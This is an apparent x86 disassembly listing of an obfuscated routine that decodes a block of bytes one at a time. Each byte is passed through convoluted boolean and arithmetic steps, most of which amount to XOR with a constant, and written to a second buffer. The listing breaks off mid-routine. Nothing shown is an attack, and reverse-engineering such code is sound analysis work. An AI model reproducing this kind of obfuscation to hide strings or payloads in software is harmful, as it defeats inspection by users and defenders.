mov byte [0x4738e5], al
mov dl, byte [0x4736e6]
mov al, dl
xor al, 0xff
and al, 0x40
mov cl, dl
and cl, 0xbf
xor cl, 0xff
and dl, 0xbf
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
mov byte [0x4738e6], al
mov al, byte [0x4736e7]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x75
and al, 0x75
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4738e7], dl
mov al, byte [0x4736e8]
xor al, 0x67
mov byte [0x4738e8], al
mov cl, byte [0x4736e9]
mov al, cl
xor al, 0xff
and al, 0x73
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x73
xor dl, 0xff
or al, dl
xor al, 0x53
mov byte [0x4738e9], al
mov al, byte [0x4736ea]
mov cl, al
xor cl, 0xf8
xor cl, 0xff
and cl, 0xf8
shl cl, 1
sub cl, 0xf8
sub al, cl
mov byte [0x4738ea], al
mov al, byte [0x4736eb]
xor al, 0xc7
mov byte [0x4738eb], al
mov al, byte [0x4736ec]
mov cl, al
and cl, 0x3a
shl cl, 1
add al, 0x3a
sub al, cl
mov byte [0x4738ec], al
mov al, byte [0x4736ed]
xor al, 0xfb
mov byte [0x4738ed], al
mov al, byte [0x4736ee]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x9d
xor al, 0xff
or al, 0x62
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4738ee], dl
mov al, byte [0x4736ef]
mov cl, al
xor cl, 0xff
and cl, 0x56
and al, 0xa9
or cl, al
mov byte [0x4738ef], cl
mov al, byte [0x4736f0]
mov cl, al
xor cl, 0xff
and cl, 0xd3
and al, 0x2c
or cl, al
mov byte [0x4738f0], cl
mov al, byte [0x4736f1]
mov cl, al
and cl, 0x54
shl cl, 1
add al, 0x54
sub al, cl
mov byte [0x4738f1], al
mov al, byte [0x4736f2]
mov cl, al
and cl, 0xf2
shl cl, 1
add al, 0xf2
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x4738f2], al
mov al, byte [0x4736f3]
mov ah, al
xor ah, 0xff
and ah, 8
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 8
xor dl, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
or al, ah
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x92
and al, 0x6d
or cl, al
mov byte [0x4738f3], cl
mov al, byte [0x4736f4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xaa
and al, 0x55
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0xdb
and dl, 0x24
mov cl, bl
and cl, 0xdb
and al, 0x24
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4738f4], dh
mov al, byte [0x4736f5]
xor al, 0x41
mov byte [0x4738f5], al
mov al, byte [0x4736f6]
xor al, 0xff
mov byte [0x4738f6], al
mov dl, byte [0x4736f7]
mov al, dl
and al, al
xor al, 0xff
and al, 0x20
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xdf
add dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, dl
xor al, 0xff
mov byte [0x4738f7], al
mov al, byte [0x4736f8]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xc4
xor cl, 0xff
and al, 0x3b
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4738f8], cl
mov al, byte [0x4736f9]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x2c
xor dl, 0xff
xor al, 0xff
or al, 0x2c
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4738f9], dl
mov al, byte [0x4736fa]
xor al, 0x1d
mov byte [0x4738fa], al
mov al, byte [0x4736fb]
mov cl, al
and cl, 0x8b
shl cl, 1
add al, 0x8b
sub al, cl
mov byte [0x4738fb], al
mov al, byte [0x4736fc]
xor al, 0x74
mov byte [0x4738fc], al
mov al, byte [0x4736fd]
xor al, 0x5d
mov byte [0x4738fd], al
mov dl, byte [0x4736fe]
mov al, dl
and al, 0xff
shl al, 1
mov cl, dl
add cl, 0xff
sub cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xb0
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x4f
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x5c
and al, 0xa3
or cl, al
xor cl, 0x8f
mov byte [0x4738fe], cl
mov bl, byte [0x4736ff]
mov dl, bl
xor dl, 0xee
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0xee
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xee
sub bl, 0x33
sub bl, al
add bl, 0x33
mov byte [0x4738ff], bl
mov dl, byte [0x473700]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0x20
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0xdf
xor al, 0xff
xor ah, 0xff
or al, ah
xor al, 0xff
and al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x473900], al
mov al, byte [0x473701]
mov cl, al
and cl, 0x21
shl cl, 1
add al, 0x21
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x473901], al
mov al, byte [0x473702]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
mov cl, al
or cl, cl
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0x4c
and dl, 0xb3
or ah, dl
xor ah, 0xb3
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0xd1
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
or al, 0x2e
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, dl
xor dl, 0xff
or al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473902], dl
mov al, byte [0x473703]
xor al, 0xf
mov byte [0x473903], al
mov al, byte [0x473704]
xor al, 0xfc
mov byte [0x473904], al
mov al, byte [0x473705]
mov cl, al
xor cl, 0xff
and cl, 0xdc
and al, 0x23
or cl, al
mov byte [0x473905], cl
mov al, byte [0x473706]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x89
xor dl, 0xff
xor al, 0xff
or al, 0x89
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x473906], dl
mov cl, byte [0x473707]
mov al, cl
and al, 0xa8
shl al, 1
xor ebx, ebx
sub bl, cl
add bl, 0x58
xor edx, edx
sub dl, bl
sub dl, 0x97
sub dl, al
add dl, 0x97
mov byte [0x473907], dl
mov al, byte [0x473708]
xor al, 0xd1
mov byte [0x473908], al
mov al, byte [0x473709]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xbf
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and al, 0x40
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
xor dl, 0xff
mov byte [0x473909], dl
mov al, byte [0x47370a]
xor al, 0xb6
mov byte [0x47390a], al
mov al, byte [0x47370b]
mov cl, al
xor cl, 0xbd
xor cl, 0xff
and cl, 0xbd
shl cl, 1
sub cl, 0xbd
sub al, cl
mov byte [0x47390b], al
mov al, byte [0x47370c]
mov ah, al
and ah, ah
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov cl, ah
xor cl, 0xe2
xor cl, 0xff
or ah, 0xe2
and ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0x9a
and ah, 0x65
or dl, ah
xor dl, 0x65
xor al, 0xff
mov ah, al
xor ah, 0xff
xor al, 0xff
or ah, al
and ah, 0x1d
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
mov al, ah
xor al, 0xff
mov cl, dl
and cl, al
mov al, dl
xor al, ah
add dl, al
sub dl, cl
mov byte [0x47390c], dl
mov al, byte [0x47370d]
xor al, 0x1b
mov byte [0x47390d], al
mov al, byte [0x47370e]
mov cl, al
xor cl, 0xff
and cl, 0x6e
and al, 0x91
or cl, al
xor cl, 0x29
mov byte [0x47390e], cl
mov bl, byte [0x47370f]
mov dl, bl
and dl, 0x93
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x93
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47390f], bl
mov al, byte [0x473710]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov cl, al
xor cl, 0xff
mov dl, ah
and dl, cl
xor ah, cl
or dl, ah
and dl, 0x89
xor dl, 0xff
mov ah, al
xor ah, 0xff
and ah, 0xd6
and al, 0x29
or ah, al
xor ah, 0x29
or ah, 0x89
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov byte [0x473910], dl
mov cl, byte [0x473711]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x4d
and cl, 0x4d
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x473911], al
mov al, byte [0x473712]
xor al, 0xfe
mov byte [0x473912], al
mov al, byte [0x473713]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x57
xor cl, 0xff
xor al, 0xff
or al, 0x57
and cl, al
xor cl, 0xff
mov byte [0x473913], cl
mov al, byte [0x473714]
mov cl, al
xor cl, 0xff
and cl, 0x5c
and al, 0xa3
or cl, al
xor cl, 3
mov byte [0x473914], cl
mov al, byte [0x473715]
xor al, 0xef
mov byte [0x473915], al
mov al, byte [0x473716]
mov cl, al
and cl, 0x52
shl cl, 1
add al, 0x52
sub al, cl
mov byte [0x473916], al
mov al, byte [0x473717]
mov cl, al
xor cl, 0xff
and cl, 0x4e
and al, 0xb1
or cl, al
mov byte [0x473917], cl
mov al, byte [0x473718]
mov cl, al
xor cl, 0xff
and cl, 0x77
and al, 0x88
or cl, al
xor cl, 0x86
mov byte [0x473918], cl
mov al, byte [0x473719]
mov cl, al
xor cl, 0xff
and cl, 0x58
and al, 0xa7
or cl, al
xor cl, 0xb8
mov byte [0x473919], cl
mov al, byte [0x47371a]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xeb
xor cl, 0xff
and al, 0x14
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47391a], cl
mov al, byte [0x47371b]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, cl
and dl, 0x4b
xor dl, 0xff
xor cl, 0xff
or cl, 0xb4
and dl, cl
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0x4b
mov cl, dl
xor cl, 0xff
and cl, 0x9e
and dl, 0x61
or cl, dl
xor cl, 0x61
xor al, 0xff
or cl, al
mov byte [0x47391b], cl
mov al, byte [0x47371c]
xor al, 0x92
mov byte [0x47391c], al
mov al, byte [0x47371d]
xor al, 0x13
mov byte [0x47391d], al
mov al, byte [0x47371e]
xor al, 0x8c
mov byte [0x47391e], al
mov al, byte [0x47371f]
mov cl, al
xor cl, 0xff
or cl, 0x20
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0xdf
sub al, cl
mov byte [0x47391f], al
mov al, byte [0x473720]
xor al, 0x17
mov byte [0x473920], al
mov al, byte [str.O]
xor al, 0xc0
mov byte [0x473921], al
mov al, byte [0x473722]
mov cl, al
xor cl, 0xff
and cl, 0x8e
and al, 0x71
or cl, al
mov byte [0x473922], cl
mov al, byte [0x473723]
xor al, 0x5e
mov byte [0x473923], al
mov al, byte [0x473724]
xor al, 0xd5
mov byte [0x473924], al
mov al, byte [0x473725]
xor al, 0x9d
mov byte [0x473925], al
mov bl, byte [0x473726]
mov dl, bl
and dl, 0xd6
xor dl, 0xff
mov al, bl
and al, 0xd6
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xd6
sub bl, 0x8b
sub bl, al
add bl, 0x8b
mov byte [0x473926], bl
mov al, byte [0x473727]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov ah, bl
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov dl, ah
and dl, 0x6f
and bl, 0x90
mov cl, bh
and cl, 0x6f
and dh, 0x90
or dl, bl
or cl, dh
xor dl, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0x4f
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x4f
add al, cl
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x473927], dl
mov al, byte [0x473728]
xor al, 0xc6
mov byte [0x473928], al
mov cl, byte [0x473729]
mov al, cl
xor al, 0xff
and al, 0xf7
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 8
mov dl, al
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov dh, dl
and dh, 0xa2
and al, 0x5d
mov cl, bl
and cl, 0xa2
and ah, 0x5d
or dh, al
or cl, ah
xor dh, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or dh, dl
mov byte [0x473929], dh
mov al, byte [0x47372a]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xbf
xor dl, 0xff
or cl, 0xbf
and cl, dl
and al, 0x40
or cl, al
xor cl, 0xc
mov byte [0x47392a], cl
mov cl, byte [0x47372b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x4c
and cl, 0x4c
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47392b], al
mov al, byte [0x47372c]
mov cl, al
xor cl, 0xff
and cl, 0x8e
and al, 0x71
or cl, al
xor cl, 0x9b
mov byte [0x47392c], cl
mov al, byte [0x47372d]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xba
add dl, cl
shl dl, 1
add al, 0xba
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47392d], al
mov al, byte [0x47372e]
xor al, 0xf7
mov byte [0x47392e], al
mov al, byte [0x47372f]
mov cl, al
and cl, 0xe7
shl cl, 1
add al, 0xe7
sub al, cl
mov byte [0x47392f], al
mov al, byte [0x473730]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
xor cl, 0x67
mov byte [0x473930], cl
mov al, byte [0x473731]
mov cl, al
xor cl, 0x1c
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0xe3
add dl, 0x1d
shl dl, 1
add dl, 0xe3
add dl, 1
sub al, dl
mov byte [0x473931], al
mov al, byte [0x473732]
xor al, 0xbf
mov byte [0x473932], al
mov al, byte [0x473733]
xor al, 0xb1
mov byte [0x473933], al
mov al, byte [0x473734]
mov cl, al
and cl, 0x96
shl cl, 1
add al, 0x96
sub al, cl
mov byte [0x473934], al
mov al, byte [0x473735]
xor al, 0xc4
mov byte [0x473935], al
mov al, byte [0x473736]
mov cl, al
xor cl, 0xff
and cl, 0x93
and al, 0x6c
or cl, al
xor cl, 0x24
mov byte [0x473936], cl
mov al, byte [0x473737]
xor al, 0xd1
mov byte [0x473937], al
mov al, byte [str.uV_bIZ_f]
xor al, 0x64
mov byte [0x473938], al
mov al, byte [0x473739]
xor al, 0x47
mov byte [0x473939], al
mov al, byte [0x47373a]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x19
xor cl, 0xff
xor al, 0xff
or al, 0x19
and cl, al
xor cl, 0xff
mov byte [0x47393a], cl
mov al, byte [0x47373b]
mov cl, al
add cl, 1
mov ah, al
xor ah, 0xff
or ah, al
add ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0x58
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, 0xa7
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x47393b], dl
mov al, byte [0x47373c]
xor al, 0x4b
mov byte [0x47393c], al
mov al, byte [0x47373d]
mov cl, al
xor cl, 0xff
and cl, 0x1d
and al, 0xe2
or cl, al
mov byte [0x47393d], cl
mov al, byte [0x47373e]
mov cl, al
xor cl, 0xff
and cl, 0xee
and al, 0x11
or cl, al
mov byte [0x47393e], cl
mov al, byte [0x47373f]
xor al, 0xea
mov byte [0x47393f], al
mov al, byte [0x473740]
xor al, 0xa
mov byte [0x473940], al
mov dl, byte [0x473741]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
and al, cl
xor al, 0xff
and al, 0xac
xor dl, 0xff
and dl, 0x53
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
mov byte [0x473941], al
mov al, byte [0x473742]
mov cl, al
xor cl, 0x24
xor cl, 0xff
and cl, 0x24
shl cl, 1
sub cl, 0x24
sub al, cl
mov byte [0x473942], al
mov al, byte [0x473743]
xor al, 1
mov byte [0x473943], al
mov al, byte [0x473744]
xor al, 0x9c
mov byte [0x473944], al
mov al, byte [0x473745]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x73
xor al, 0xff
or al, 0x8c
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x473945], dl
mov al, byte [0x473746]
xor al, 0x10
mov byte [0x473946], al
mov al, byte [0x473747]
xor al, 0x28
mov byte [0x473947], al
mov al, byte [0x473748]
xor al, 0x1e
mov byte [0x473948], al
mov dl, byte [0x473749]
mov cl, dl
xor cl, 0xff
and cl, 0xcd
mov al, dl
and al, 0x32
or cl, al
xor cl, 0x32
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0x89
and dl, 0x76
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
mov cl, al
and cl, 0x96
shl cl, 1
add al, 0x96
sub al, cl
mov byte [0x473949], al
mov bl, byte [0x47374a]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x9d
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x9d
shl cl, 1
xor bl, 0x9d
add bl, cl
sub bl, 0x5f
sub bl, al
add bl, 0x5f
mov byte [0x47394a], bl
mov al, byte [0x47374b]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
add ah, 1
xor dl, 0xff
or dl, cl
add dl, ah
or dl, 0xaa
mov ah, dl
xor ah, 0xff
and ah, 0x3f
and dl, 0xc0
or ah, dl
xor ah, 0xc0
xor al, 0xff
and al, 0xaa
xor ah, 0xff
xor al, 0xff
and ah, al
mov byte [0x47394b], ah
mov al, byte [0x47374c]
xor al, 0x93
mov byte [0x47394c], al
mov al, byte [0x47374d]
mov dl, al
xor dl, 0x35
xor dl, 0xff
and dl, 0x35
shl dl, 1
mov cl, dl
xor cl, 0x35
and dl, 0xca
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x47394d], al
mov al, byte [0x47374e]
xor al, 0xb4
mov byte [0x47394e], al
mov al, byte [0x47374f]
xor al, 0xef
mov byte [0x47394f], al
mov al, byte [0x473750]
mov cl, al
and cl, 3
shl cl, 1
add al, 3
sub al, cl
mov byte [0x473950], al
mov al, byte [0x473751]
xor al, 0xfa
mov byte [0x473951], al
mov dl, byte [0x473752]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, al
xor cl, 0x4b
xor cl, 0xff
or al, 0x4b
and al, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xb4
and al, al
xor al, 0xff
and dl, dl
xor dl, 0xff
and al, dl
xor al, 0xff
xor al, 0xff
mov byte [0x473952], al
mov al, byte [0x473753]
xor al, 0x32
mov byte [0x473953], al
mov al, byte [0x473754]
mov cl, al
xor cl, 0x2c
xor cl, 0xff
and cl, 0x2c
shl cl, 1
sub cl, 0x2c
sub al, cl
mov byte [0x473954], al
mov al, byte [0x473755]
xor al, 0xf5
mov byte [0x473955], al
mov dl, byte [0x473756]
mov al, dl
xor al, 0xff
and al, 0x4c
mov cl, dl
xor cl, 0xb3
xor cl, 0xff
or dl, 0xb3
and dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
or al, dl
xor al, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0
mov byte [0x473956], ah
mov al, byte [0x473757]
xor al, 0x9d
mov byte [0x473957], al
mov dl, byte [0x473758]
mov ah, dl
xor ah, 0xff
and ah, 0x90
mov al, dl
and al, 0x6f
or ah, al
xor ah, 0x6f
mov al, ah
xor al, 0xff
or al, 0x81
and ah, 0x7e
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
or al, ah
mov ah, dl
and ah, 0x81
xor ah, 0xff
xor dl, 0xff
or dl, 0x7e
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, ah
xor bl, 0xff
mov dh, dl
and dh, 0xb9
and al, 0x46
mov cl, bl
and cl, 0xb9
and ah, 0x46
or dh, al
or cl, ah
xor dh, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or dh, dl
mov byte [0x473958], dh
mov cl, byte [0x473759]
mov al, cl
xor al, 0xff
and al, 0x19
xor cl, 0xff
or cl, 0x19
xor cl, 0xff
and cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0x1d
mov byte [0x473959], dl
mov dl, byte [0x47375a]
mov al, dl
xor al, 0xff
mov cl, al
xor cl, 0x78
xor cl, 0xff
or al, 0x78
and al, cl
and dl, 0x87
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0x49
mov byte [0x47395a], al
mov al, byte [0x47375b]
mov cl, al
xor cl, 0x69
and cl, al
shl cl, 1
add al, 6
add al, 0x96
sub al, 6
sub al, cl
mov byte [0x47395b], al
mov al, byte [0x47375c]
mov cl, al
xor cl, 0xff
and cl, 0x48
and al, 0xb7
or cl, al
xor cl, 0xe2
mov byte [0x47395c], cl
mov al, byte [0x47375d]
xor al, 0x28
mov byte [0x47395d], al
mov al, byte [0x47375e]
mov ah, al
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
and ah, 0x47
xor al, 0xff
or al, 0x47
xor al, 0xff
and al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov al, dl
xor al, 0xb7
xor al, 0xff
and al, 0xb7
shl al, 1
sub al, 0xb7
sub dl, al
mov byte [0x47395e], dl
mov al, byte [0x47375f]
mov cl, al
and cl, 0x28
shl cl, 1
add al, 0x28
sub al, cl
mov byte [0x47395f], al
mov al, byte [0x473760]
xor al, 0xff
mov byte [0x473960], al
mov dl, byte [0x473761]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0x43
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0x43
xor cl, 0xff
or dl, 0x43
and dl, cl
or al, dl
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xbb
xor al, 0xff
and al, 0x44
or cl, al
xor cl, 0xff
mov byte [0x473961], cl
mov al, byte [0x473762]
xor al, 0x1d
mov byte [0x473962], al
mov al, byte [0x473763]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xa6
xor dl, 0xff
and al, 0x59
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or dl, al
mov byte [0x473963], dl
mov al, byte [0x473764]
mov dl, al
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, dl
and ah, 0x8d
mov cl, al
and cl, 0x72
mov ch, dh
and ch, 0x8d
mov bl, al
and bl, 0x72
or ah, cl
or ch, bl
xor ah, ch
or dl, dh
xor dl, 0xff
and dl, 0xff
or ah, dl
xor ah, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x97
and ah, 0x68
or dl, ah
xor dl, 0xc5
or dh, 0xad
xor dh, 0xff
and dh, 0xff
or dl, dh
xor dl, 0xff
xor al, 0xff
and al, 0x52
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x473964], dl
mov bl, byte [0x473765]
mov dl, bl
and dl, 0xcf
xor dl, 0xff
mov al, bl
and al, 0xcf
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x31
sub bl, 0xea
sub bl, al
add bl, 0xea
mov byte [0x473965], bl
mov al, byte [0x473766]
mov cl, al
xor cl, 0xff
and cl, 0xc5
and al, 0x3a
or cl, al
mov byte [0x473966], cl
mov al, byte [0x473767]
mov cl, al
and cl, 0x28
shl cl, 1
add al, 0x28
sub al, cl
mov byte [str._w_v], al
mov al, byte [0x473768]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x38
xor al, 0xff
and al, 0xc7
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
xor dl, 0xff
xor al, 0xff
and dl, al
or ah, dl
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
or al, ah
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov byte [0x473968], al
mov al, byte [0x473769]
xor al, 0xf5
mov byte [0x473969], al
mov al, byte [0x47376a]
mov dl, al
xor dl, 0xec
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0x13
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xec
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x47396a], al
mov al, byte [0x47376b]
mov dl, al
xor dl, 0xd3
and dl, al
shl dl, 1
mov cl, al
and cl, 0x2c
shl cl, 1
xor al, 0x2c
add al, cl
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x47396b], al
mov al, byte [0x47376c]
mov cl, al
xor cl, 0x77
xor cl, 0xff
mov dl, al
or dl, 0x77
and dl, cl
shl dl, 1
mov cl, al
and cl, 0x77
shl cl, 1
xor al, 0x77
add al, cl
sub al, dl
mov byte [0x47396c], al
mov al, byte [0x47376d]
mov cl, al
and cl, 2
shl cl, 1
add al, 2
sub al, cl
mov byte [0x47396d], al
mov bl, byte [0x47376e]
mov dl, bl
and dl, 0xb8
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xb8
sub bl, 0xc0
sub bl, al
add bl, 0xc0
mov byte [0x47396e], bl
mov al, byte [0x47376f]
mov cl, al
and cl, 0xed
shl cl, 1
add al, 0xed
sub al, cl
mov byte [0x47396f], al
mov ax, word [0x473170]
mov dx, ax
xor dx, 0xc295
xor dx, 0xffff
and dx, 0xc295
shl dx, 1
add dx, 0x5cdb
sub dx, 0xc295
sub dx, 0x5cdb
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
